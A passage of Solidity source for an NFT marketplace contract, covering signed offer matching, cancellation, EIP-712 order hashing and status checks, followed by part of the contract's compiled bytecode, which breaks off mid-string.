keccak256("matchoffer(address contractaddress,uint tokenid,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5]
)
);
offerhashes[hashStruct]=true;
emit Offercancelled(hashStruct);
}
/// @notice called by seller of ERc721NFT when he sees a signed buy offer, this is for any tokenid of a particular collection(floor buyer)
/// @param v,r,s EIP712 type signature of signer/seller
/// @param _addressArgs[3] address arguments array
/// @param _uintArgs[6] uint arguments array
/// @dev addressargs->//0 - contractaddress,//1 - signer,//2 - royaltyaddress
/// @dev uintArgs->//0-tokenid ,//1-ethamt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt
function matchOfferAny(
uint8 v,
bytes32 r,
bytes32 s,
address[3] calldata _addressArgs,
uint[6] calldata _uintArgs
) external {
require(block.timestamp < _uintArgs[2], "Signed transaction expired");
// the hash here doesnt take tokenid so allows seller to fill the offer with any token id of the collection (floor buyer)
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(address contractaddress,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)"),
_addressArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5]
)
);
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
require(signaturesigner == _addressArgs[1], "invalid signature");
require(offerhashes[hashStruct]==false,"order filled or cancelled");
offerhashes[hashStruct]=true;
if (_uintArgs[3]>0){
require(wethcontract.transferFrom(_addressArgs[1], owner , _uintArgs[3]),"error in weth transfer");
}
if (_uintArgs[5]>0){
require(wethcontract.transferFrom(_addressArgs[1], _addressArgs[2] , _uintArgs[5]),"error in weth transfer");
}
require(wethcontract.transferFrom(_addressArgs[1], msg.sender, _uintArgs[1]-_uintArgs[5]-_uintArgs[3]),"error in weth transfer");
ERC721 nftcontract = ERC721(_addressArgs[0]);
nftcontract.safeTransferFrom(msg.sender,_addressArgs[1] ,_uintArgs[0]);
emit Offerfilled(_addressArgs[1], msg.sender, hashStruct , _uintArgs[1] ,_uintArgs[3],_uintArgs[5],_addressArgs[2],1);
}
/// @notice invalidates an offchain offerany signature so it cant be filled by anyone
function cancelOfferAny(
address[3] calldata _addressArgs,
uint[6] calldata _uintArgs
) external{
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(address contractaddress,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)"),
_addressArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5]
)
);
offerhashes[hashStruct]=true;
emit Offercancelled(hashStruct);
}
///@notice returns Keccak256 hash of an order
function orderHash(
address[4] memory _addressArgs,
uint[6] memory _uintArgs
) public pure returns (bytes32) {
return keccak256(
abi.encode(
keccak256("matchorder(address contractaddress,uint tokenid,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5]
)
);
}
///@notice returns Keccak256 hash of an offer
function offerHash(
address[3] memory _addressArgs,
uint[6] memory _uintArgs
) public pure returns (bytes32) {
return keccak256(
abi.encode(
keccak256("matchoffer(address contractaddress,uint tokenid,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5]
)
);
}
///@notice returns Keccak256 hash of an offerAny
function offerAnyHash(
address[3] memory _addressArgs,
uint[6] memory _uintArgs
) public pure returns (bytes32) {
return keccak256(
abi.encode(
keccak256("matchoffer(address contractaddress,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)"),
_addressArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5]
)
);
}
// ALREADY FILLED OR CANCELLED - 1
// deadline PASSED- 2 EXPIRED
// sign INVALID - 0
// VALID - 3
/// @notice returns status of an order
/// @param v,r,s EIP712 type signature of signer/seller
/// @param _addressArgs[4] address arguments array
/// @param _uintArgs[6] uint arguments array
/// @dev addressargs->//0 - contractaddress,//1 - signer,//2 - royaltyaddress,//3 - reffereraddress
/// @dev uintArgs->//0-tokenid ,//1-ethamt,//2-deadline,//3-feeamt,//4-salt,//5-royaltyamt
function orderStatus(
uint8 v,
bytes32 r,
bytes32 s,
address[4] memory _addressArgs,
uint[6] memory _uintArgs
) public view returns (uint256) {
if (block.timestamp > _uintArgs[2]){
return 2;
}
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchorder(address contractaddress,uint tokenid,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5]
)
);
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
if (signaturesigner != _addressArgs[1]){
return 0;
}
if (orderhashes[hashStruct]==true){
return 1;
}
return 3;
}
// ALREADY FILLED OR CANCELLED - 1
// deadline PASSED- 2 EXPIRED
// sign INVALID - 0
// VALID - 3
/// @notice returns status of an order
function offerStatus(
uint8 v,
bytes32 r,
bytes32 s,
address[3] memory _addressArgs,
uint[6] memory _uintArgs
) public view returns (uint256) {
if (block.timestamp > _uintArgs[2]){
return 2;
}
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(address contractaddress,uint tokenid,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)"),
_addressArgs[0],
_uintArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5]
)
);
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
if (signaturesigner != _addressArgs[1]){
return 0;
}
if (offerhashes[hashStruct]==true){
return 1;
}
return 3;
}
// ALREADY FILLED OR CANCELLED - 1
// deadline PASSED- 2 EXPIRED
// sign INVALID - 0
// VALID - 3
/// @notice returns status of an order
function offerAnyStatus(
uint8 v,
bytes32 r,
bytes32 s,
address[3] memory _addressArgs,
uint[6] memory _uintArgs
) public view returns (uint256) {
if (block.timestamp > _uintArgs[2]){
return 2;
}
bytes32 hashStruct = keccak256(
abi.encode(
keccak256("matchoffer(address contractaddress,uint ethamt,uint deadline,uint feeamt,address signer,uint salt,address royaltyaddress,uint royaltyamt)"),
_addressArgs[0],
_uintArgs[1],
_uintArgs[2],
_uintArgs[3],
_addressArgs[1],
_uintArgs[4],
_addressArgs[2],
_uintArgs[5]
)
);
bytes32 hash = keccak256(abi.encodePacked("\x19\x01", _eip712DomainHash(), hashStruct));
address signaturesigner = ecrecover(hash, v, r, s);
if (signaturesigner != _addressArgs[1]){
return 0;
}
if (offerhashes[hashStruct]==true){
return 1;
}
return 3;
}
}
|
0x6080604052600436106100dd5760003560e01c80638d14b2a81161007f578063efecedef11610059578063efecedef146106b9578063f1aa5681146107a2578063f1c3c2e914610809578063fb8a5ab91461084f576100dd565b80638d14b2a8146105b9578063de5c2a54146105ff578063e347dcb014610666576100dd565b80634b6d334e116100bb5780634b6d334e146102ed57806351e292b8146103b557806362ff1a371461049e5780637a33c281146104f1576100dd565b806311bd98af146100e25780631665230f146101cb5780631edcd0d514610225575b600080fd5b3480156100ee57600080fd5b506101b560048036036101a081101561010657600080fd5b81019080803560ff169060200190929190803590602001909291908035906020019092919080608001906004806020026040519081016040528092919082600460200280828437600081840152601f19601f82011690508083019250505050505091929192908060c001906006806020026040519081016040528092919082600660200280828437600081840152601f19601f8201169050808301925050505050509192919290505050610895565b6040518082815260200191505060405180910390f35b61022360048036036101a08110156101e257600080fd5b81019080803560ff1690602001909291908035906020019092919080359060200190929190806080019091929192908060c001909192919290505050610bc7565b005b34801561023157600080fd5b506102d7600480360361014081101561024957600080fd5b8101908080608001906004806020026040519081016040528092919082600460200280828437600081840152601f19601f82011690508083019250505050505091929192908060c001906006806020026040519081016040528092919082600660200280828437600081840152601f19601f82011690508083019250505050505091929192905050506115a1565b6040518082815260200191505060405180910390f35b3480156102f957600080fd5b5061039f600480360361012081101561031157600080fd5b8101908080606001906003806020026040519081016040528092919082600360200280828437600081840152601f19601f82011690508083019250505050505091929192908060c001906006806020026040519081016040528092919082600660200280828437600081840152601f19601f820116905080830192505050505050919291929050505061174f565b6040518082815260200191505060405180910390f35b3480156103c157600080fd5b5061048860048036036101808110156103d957600080fd5b81019080803560ff169060200190929190803590602001909291908035906020019092919080606001906003806020026040519081016040528092919082600360200280828437600081840152601f19601f82011690508083019250505050505091929192908060c001906006806020026040519081016040528092919082600660200280828437600081840152601f19601f82011690508083019250505050505091929192905050506118fd565b6040518082815260200191505060405180910390f35b3480156104aa57600080fd5b506104d7600480360360208110156104c157600080fd5b8101908080359060200190929190505050611c30565b604051808215151515815260200191505060405180910390f35b3480156104fd57600080fd5b506105a3600480360361012081101561051557600080fd5b8101908080606001906003806020026040519081016040528092919082600360200280828437600081840152601f19601f82011690508083019250505050505091929192908060c001906006806020026040519081016040528092919082600660200280828437600081840152601f19601f8201169050808301925050505050509192919290505050611c50565b6040518082815260200191505060405180910390f35b3480156105c557600080fd5b506105fd60048036036101208110156105dd57600080fd5b81019080806060019091929192908060c001909192919290505050611de5565b005b34801561060b57600080fd5b50610664600480360361018081101561062357600080fd5b81019080803560ff1690602001909291908035906020019092919080359060200190929190806060019091929192908060c001909192919290505050612013565b005b34801561067257600080fd5b5061069f6004803603602081101561068957600080fd5b8101908080359060200190929190505050612d25565b604051808215151515815260200191505060405180910390f35b3480156106c557600080fd5b5061078c60048036036101808110156106dd57600080fd5b81019080803560ff169060200190929190803590602001909291908035906020019092919080606001906003806020026040519081016040528092919082600360200280828437600081840152601f19601f82011690508083019250505050505091929192908060c001906006806020026040519081016040528092919082600660200280828437600081840152601f19601f8201169050808301925050505050509192919290505050612d45565b6040518082815260200191505060405180910390f35b3480156107ae57600080fd5b5061080760048036036101808110156107c657600080fd5b81019080803560ff1690602001909291908035906020019092919080359060200190929190806060019091929192908060c00190919291929050505061305f565b005b34801561081557600080fd5b5061084d600480360361012081101561082d57600080fd5b81019080806060019091929192908060c001909192919290505050613d8a565b005b34801561085b57600080fd5b50610893600480360361014081101561087357600080fd5b81019080806080019091929192908060c001909192919290505050613fd1565b005b6000816002600681106108a457fe5b60200201514211156108b95760029050610bbe565b600060405180806143276096913960960190506040518091039020846000600481106108e157fe5b6020020151846000600681106108f357fe5b60200201518560016006811061090557fe5b60200201518660026006811061091757fe5b60200201518760036006811061092957fe5b60200201518960016004811061093b57fe5b60200201518960046006811061094d57fe5b60200201518b60026004811061095f57fe5b60200201518b60056006811061097157fe5b6020020151604051602001808b81526020018a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018981526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019a50505050505050505050506040516020818303038152906040528051906020012090506000610a6b614218565b8260405160200180807f19010000000000000000000000000000000000000000000000000000000000008152506002018381526020018281526020019250505060405160208183030381529060405280519060200120905060006001828a8a8a60405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015610b22573d6000803e3d6000fd5b50505060206040510351905085600160048110610b3b57fe5b602002015173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610b7e5760009350505050610bbe565b6001151560008085815260200190815260200160002060009054906101000a900460ff1615151415610bb65760019350505050610bbe565b600393505050505b95945050505050565b80600260068110610bd457fe5b60200201354210610c4d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f5369676e6564207472616e73616374696f6e206578706972656400000000000081525060200191505060405180910390fd5b60006040518080614327609691396096019050604051809103902083600060048110610c7557fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1683600060068110610c9d57fe5b602002013584600160068110610caf57fe5b602002013585600260068110610cc157fe5b602002013586600360068110610cd357fe5b602002013588600160048110610ce557fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1688600460068110610d0d57fe5b60200201358a600260048110610d1f57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168a600560068110610d4757fe5b6020020135604051602001808b81526020018a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018981526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019a50505050505050505050506040516020818303038152906040528051906020012090506000610e41614218565b8260405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015610ef8573d6000803e3d6000fd5b50505060206040510351905084600160048110610f1157fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614610fcc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f696e76616c6964207369676e617475726500000000000000000000000000000081525060200191505060405180910390fd5b83600160068110610fd957fe5b60200201353414611052576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600d8152602001807f77726f6e672065746820616d740000000000000000000000000000000000000081525060200191505060405180910390fd5b6000151560008085815260200190815260200160002060009054906101000a900460ff161515146110eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f6f726465722066696c6c6564206f722063616e63656c6c65640000000000000081525060200191505060405180910390fd5b600160008085815260200190815260200160002060006101000a81548160ff02191690831515021790555060008560006004811061112557fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166342842e0e8760016004811061116b57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16338860006006811061119457fe5b60200201356040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b15801561123557600080fd5b505af1158015611249573d6000803e3d6000fd5b5050505060008560036006811061125c57fe5b602002013511156112e257600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc866003600681106112b057fe5b60200201359081150290604051600060405180830381858888f193505050501580156112e0573d6000803e3d6000fd5b505b6000856005600681106112f157fe5b6020020135111561137c578560026004811061130957fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8660056006811061134a57fe5b60200201359081150290604051600060405180830381858888f1935050505015801561137a573d6000803e3d6000fd5b505b8560016004811061138957fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc866005600681106113ca57fe5b6020020135876003600681106113dc57fe5b60200201353403039081150290604051600060405180830381858888f1935050505015801561140f573d6000803e3d6000fd5b50833373ffffffffffffffffffffffffffffffffffffffff168760016004811061143557fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f04b02a29c1f6bf11bf78b9a6e8f5fabfc808a294f222309f9f59f6dd2f0dfa128860016006811061149457fe5b60200201358a6003600481106114a657fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168a6003600681106114ce57fe5b60200201358b6005600681106114e057fe5b60200201358d6002600481106114f257fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16604051808681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019550505050505060405180910390a4505050505050505050565b600060405180806143276096913960960190506040518091039020836000600481106115c957fe5b6020020151836000600681106115db57fe5b6020020151846001600681106115ed57fe5b6020020151856002600681106115ff57fe5b60200201518660036006811061161157fe5b60200201518860016004811061162357fe5b60200201518860046006811061163557fe5b60200201518a60026004811061164757fe5b60200201518a60056006811061165957fe5b6020020151604051602001808b81526020018a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018981526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019a505050505050505050505060405160208183030381529060405280519060200120905092915050565b6000604051808061449860969139609601905060405180910390208360006003811061177757fe5b60200201518360006006811061178957fe5b60200201518460016006811061179b57fe5b6020020151856002600681106117ad57fe5b6020020151866003600681106117bf57fe5b6020020151886001600381106117d157fe5b6020020151886004600681106117e357fe5b60200201518a6002600381106117f557fe5b60200201518a60056006811061180757fe5b6020020151604051602001808b81526020018a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018981526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019a505050505050505050505060405160208183030381529060405280519060200120905092915050565b60008160026006811061190c57fe5b60200201514211156119215760029050611c27565b6000604051808061449860969139609601905060405180910390208460006003811061194957fe5b60200201518460006006811061195b57fe5b60200201518560016006811061196d57fe5b60200201518660026006811061197f57fe5b60200201518760036006811061199157fe5b6020020151896001600381106119a357fe5b6020020151896004600681106119b557fe5b60200201518b6002600381106119c757fe5b60200201518b6005600681106119d957fe5b6020020151604051602001808b81526020018a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018981526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019a50505050505050505050506040516020818303038152906040528051906020012090506000611ad3614218565b8260405160200180807f19010000000000000000000000000000000000000000000000000000000000008152506002018381526020018281526020019250505060405160208183030381529060405280519060200120905060006001828a8a8a60405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015611b8a573d6000803e3d6000fd5b50505060206040510351905085600160038110611ba357fe5b602002015173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611be65760009350505050611c27565b600115156001600085815260200190815260200160002060009054906101000a900460ff1615151415611c1f5760019350505050611c27565b600393505050505b95945050505050565b60006020528060005260406000206000915054906101000a900460ff1681565b6000604051808061440f608991396089019050604051809103902083600060038110611c7857fe5b602002015183600160068110611c8a57fe5b602002015184600260068110611c9c57fe5b602002015185600360068110611cae57fe5b602002015187600160038110611cc057fe5b602002015187600460068110611cd257fe5b602002015189600260038110611ce457fe5b602002015189600560068110611cf657fe5b6020020151604051602001808a81526020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001828152602001995050505050505050505060405160208183030381529060405280519060200120905092915050565b6000604051808061440f608991396089019050604051809103902083600060038110611e0d57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1683600160068110611e3557fe5b602002013584600260068110611e4757fe5b602002013585600360068110611e5957fe5b602002013587600160038110611e6b57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1687600460068110611e9357fe5b602002013589600260038110611ea557fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1689600560068110611ecd57fe5b6020020135604051602001808a81526020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019950505050505050505050604051602081830303815290604052805190602001209050600180600083815260200190815260200160002060006101000a81548160ff021916908315150217905550807f26e53791d4bb01bdfb0fa46594d8c6d2645ea486d869091f254c81f564c582e060405160405180910390a2505050565b8060026006811061202057fe5b60200201354210612099576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f5369676e6564207472616e73616374696f6e206578706972656400000000000081525060200191505060405180910390fd5b6000604051808061440f6089913960890190506040518091039020836000600381106120c157fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16836001600681106120e957fe5b6020020135846002600681106120fb57fe5b60200201358560036006811061210d57fe5b60200201358760016003811061211f57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168760046006811061214757fe5b60200201358960026003811061215957fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168960056006811061218157fe5b6020020135604051602001808a81526020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200199505050505050505050506040516020818303038152906040528051906020012090506000612274614218565b8260405160200180807f190100000000000000000000000000000000000000000000000000000000000081525060020183815260200182815260200192505050604051602081830303815290604052805190602001209050600060018289898960405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa15801561232b573d6000803e3d6000fd5b5050506020604051035190508460016003811061234457fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146123ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f696e76616c6964207369676e617475726500000000000000000000000000000081525060200191505060405180910390fd5b600015156001600085815260200190815260200160002060009054906101000a900460ff16151514612499576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260198152602001807f6f726465722066696c6c6564206f722063616e63656c6c65640000000000000081525060200191505060405180910390fd5b600180600085815260200190815260200160002060006101000a81548160ff0219169083151502179055506000846003600681106124d357fe5b602002013511156126c357600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8660016003811061252957fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168760036006811061257457fe5b60200201356040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561261557600080fd5b505af1158015612629573d6000803e3d6000fd5b505050506040513d602081101561263f57600080fd5b81019080805190602001909291905050506126c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f6572726f7220696e2077657468207472616e736665720000000000000000000081525060200191505060405180910390fd5b5b6000846005600681106126d257fe5b602002013511156128c757600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8660016003811061272857fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168760026003811061275057fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168760056006811061277857fe5b60200201356040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15801561281957600080fd5b505af115801561282d573d6000803e3d6000fd5b505050506040513d602081101561284357600080fd5b81019080805190602001909291905050506128c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f6572726f7220696e2077657468207472616e736665720000000000000000000081525060200191505060405180910390fd5b5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8660016003811061291257fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16338760036006811061293b57fe5b60200201358860056006811061294d57fe5b60200201358960016006811061295f57fe5b602002013503036040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015612a0257600080fd5b505af1158015612a16573d6000803e3d6000fd5b505050506040513d6020811015612a2c57600080fd5b8101908080519060200190929190505050612aaf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f6572726f7220696e2077657468207472616e736665720000000000000000000081525060200191505060405180910390fd5b600085600060038110612abe57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff166342842e0e3388600160038110612b0557fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1688600060068110612b2d57fe5b60200201356040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015612bce57600080fd5b505af1158015612be2573d6000803e3d6000fd5b50505050833373ffffffffffffffffffffffffffffffffffffffff1687600160038110612c0b57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fa7d8f91a29a74a964eb806fe7ae08aa76f1b7df083c6371e800d06463644743d88600160068110612c6a57fe5b602002013589600360068110612c7c57fe5b60200201358a600560068110612c8e57fe5b60200201358c600260038110612ca057fe5b602002013573ffffffffffffffffffffffffffffffffffffffff166001604051808681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019550505050505060405180910390a4505050505050505050565b60016020528060005260406000206000915054906101000a900460ff1681565b600081600260068110612d5457fe5b6020020151421115612d695760029050613056565b6000604051808061440f608991396089019050604051809103902084600060038110612d9157fe5b602002015184600160068110612da357fe5b602002015185600260068110612db557fe5b602002015186600360068110612dc757fe5b602002015188600160038110612dd957fe5b602002015188600460068110612deb57fe5b60200201518a600260038110612dfd57fe5b60200201518a600560068110612e0f57fe5b6020020151604051602001808a81526020018973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200199505050505050505050506040516020818303038152906040528051906020012090506000612f02614218565b8260405160200180807f19010000000000000000000000000000000000000000000000000000000000008152506002018381526020018281526020019250505060405160208183030381529060405280519060200120905060006001828a8a8a60405160008152602001604052604051808581526020018460ff1660ff1681526020018381526020018281526020019450505050506020604051602081039080840390855afa158015612fb9573d6000803e3d6000fd5b50505060206040510351905085600160038110612fd257fe5b602002015173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146130155760009350505050613056565b600115156001600085815260200190815260200160002060009054906101000a900460ff161515141561304e5760019350505050613056565b600393505050505b95945050505050565b8060026006811061306c57fe5b602002013542106130e5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f5369676e6564207472616e73616374696f6e206578706972656400000000000081525060200191505060405180910390fd5b6000604051808061449860969139609601905060405180910390208360006003811061310d57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168360006006811061313557fe5b60200201358460016006811061314757fe5b60200201358560026006811061315957fe5b60200201358660036006811061316b57fe5b60200201358860016003811061317d57fe5b602002013573ffffffffffffffffffffffffffffffffffffffff16886004600681106131a557fe5b60200201358a6002600381106131b757fe5b602002013573ffffffffffffffffffffffffffffffffffffffff168a6005600681106131df57fe5b6020020135604051602001808b81526020018a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018981526020018881526020018781526020018681526020018573ffffffffffffffffffffffffffffffffffffffff1673fffffffff